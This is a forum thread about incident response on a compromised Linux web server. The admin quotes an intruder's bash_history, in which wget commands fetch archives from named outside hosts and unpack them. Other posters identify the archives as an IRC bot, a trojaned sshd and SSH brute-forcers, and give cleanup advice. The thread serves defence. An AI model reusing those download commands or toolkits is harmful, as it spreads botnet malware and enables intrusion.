Linux Web Server Security Expert Required - Urgent

[Phanerothyme 12]

right then the last 100 lines from the users .bash_history file

w
screen -r
...
ls
export PATH=.:$PATH
start 222

- does it look like they are up to no good?

 

 

I'm following up the files mentioned in here and taking a closer look at the whole file. Thanks to everyone for their help, on thread and in pms

 

edit

 

found this in /bash_history - looks like he downloaded a mass of nasty scripts here - check the url!

wget
wget wget www.acounther.go.ro/0.tgz
wget wget www.acounther.go.ro/ker.tgz
wget wget www.acounther.go.ro/hosts.tgz
wget wget www.floriano.3x.ro/newd.tgz
wget wget www.floriano.3x.ro/copi.tgz
ls
tar xzvf 0.tgz
tar xzvf ker.tgz
tar xzvf hosts.tgz
tar xzvf newd.tgz
tar xzvf copi.tgz

BARSTEWARDS!

[mrmist 10]

Are the archive files still there?

 

Is the 222 command a script that's still there?

 

If you could find out what was in them, you could maybe dechiper what took place.

 

Really though if someone had a shell on your box then

 

a) Something is unpatched enough for them to have broken in, which will need fixing and

b) They could have done anything, assuming they got root level access

 

I'd copy off and check your config files, then rebuild the box, applying the latest patches.

[carling 10]

Ive downloaded those files and had a look. copi.tgz is a IRC server. The binary is called "undo", there is a conf file called "mech.set" and a directory called "randfiles". Delete all these if found.

 

You cannot trust your ssh daemon (sshd) one of the archives contains a modified version - dont really know what you can do about this. I cannot work out what 0.tgz is. AVG flags it up as a linux virus and when I run it in a VM there is a single binary file which I dont want to run.

 

newd.tgz is a ssh brute scanner and contains a new ssh daemon (hence newd). Hosts is another ssh brute forcer and was probably used against other machines from yours. Make sure you check your .bash_history thoroughly for other signs of activity.

 

They may be still be logging on, if you havent done so already change the root password to something very strong.

[Phanerothyme 12]

Ive downloaded those files and had a look. copi.tgz is a IRC server. The binary is called "undo", there is a conf file called "mech.set" and a directory called "randfiles". Delete all these if found.

 

You cannot trust your ssh daemon (sshd) one of the archives contains a modified version - dont really know what you can do about this. I cannot work out what 0.tgz is. AVG flags it up as a linux virus and when I run it in a VM there is a single binary file which I dont want to run.

 

newd.tgz is a ssh brute scanner and contains a new ssh daemon (hence newd). Hosts is another ssh brute forcer and was probably used against other machines from yours. Make sure you check your .bash_history thoroughly for other signs of activity.

 

They may be still be logging on, if you havent done so already change the root password to something very strong.

 

Thanks for that _ had a look at the text files and it all looked very suspect indeed. So we can assume that there's an IRC server running - and the server is being used as an ssh attackbot.

 

There's no evidence of .bash_history or any of the other log files as having been altered (i.e they contain a complete record, including my logins) - and it doesn't appear that the root account has been compromised, but as you say, nothing is intrinsically trustworthy anymore.

 

I've locked out the ssh login to only allow connections from my personal IP - I did that about 3 days ago, and then deleted the compromised user. I'm arranging for a clean server to transfer the sites to, and then edit the DNS A name entries and then the MX entries (after laboriously setting up new mail accounts...).

 

/var/log/secure shows that brute force attacks and compromised account logins have stopped completely. I've changed the root password to , oh wait, i'd better keep it a secret.

 

How am I doing? (Thanks again everyone).

[mrmist 10]

Are all your packages / installs up to date in terms of security fixes? If someone managed to hack their way in they either got lucky in brute force or used a known exploit to bypass one of your listening daemons. You can combat the brute force somewhat with firewall rules and strong passwords, for the other side of things I'd check that all the network listening apps were fully up to date.

[Joelc 10]

Thanks for that _ had a look at the text files and it all looked very suspect indeed. So we can assume that there's an IRC server running - and the server is being used as an ssh attackbot.

 

There's no evidence of .bash_history or any of the other log files as having been altered (i.e they contain a complete record, including my logins) - and it doesn't appear that the root account has been compromised, but as you say, nothing is intrinsically trustworthy anymore.

 

Just because the files don't look to be altered, its quite possible that they hacker could have just cleared out any of his activity.

 

I don't suppose you have an IP of the last login to that account do you?

 

I've locked out the ssh login to only allow connections from my personal IP - I did that about 3 days ago, and then deleted the compromised user. I'm arranging for a clean server to transfer the sites to, and then edit the DNS A name entries and then the MX entries (after laboriously setting up new mail accounts...).

 

/var/log/secure shows that brute force attacks and compromised account logins have stopped completely. I've changed the root password to , oh wait, i'd better keep it a secret.

 

How am I doing? (Thanks again everyone).

 

Sounds much like your server was probably turned into a node for a botnet. I've seen IRC channels on ERFnet filled with bots. Its quite remarkable the number of bots that people accumulate.

 

One channel consisted of at LEAST 200 zombied machines connecting into a single channel, and the perpetrator issuing commands to them, and then them going off and performing DDOS and god know what other sorts of attacks.

 

It sounds like you were the victim of a script kiddie rather than a full fledged hacker. So chances are, he's got no further than he did.

 

Script kiddies generally use other peoples programs to launch attacks, hackers usually write their own. A very similar tool set was used on another box I've seen.

 

Although that time, the password was brute forced, and there wasn't that much of the box left that was recoverable after the intruder found an exploit in BIND which someone was running as root (tut) which gave them root access, and suffice to say the run of the box.

 

Joel

[Phanerothyme 12]

Thanks Joel.

 

I really don't think that he covered his tracks. The account he used was created with a default adduser command. The password was the same as the username it turns out. I could use the knowledge of what kind of account is created by default. This account was created for a specific, unrelated purpose some time ago and has been dormant until the hack.

 

I can't find any trace of the packages he downloaded, but I'm still looking.

 

The server doesn't appear to be listed on any SBL yet, which is positive. Just checking the abuse channels for reports.

[Joelc 10]

JUst underlines the importance of account management, unused accounts should be remove, or at least have their shell set to /bin/nologin or /dev/null, or one of the other null shells. Its time consuming on a busy box, but it does have its merits.

 

Joel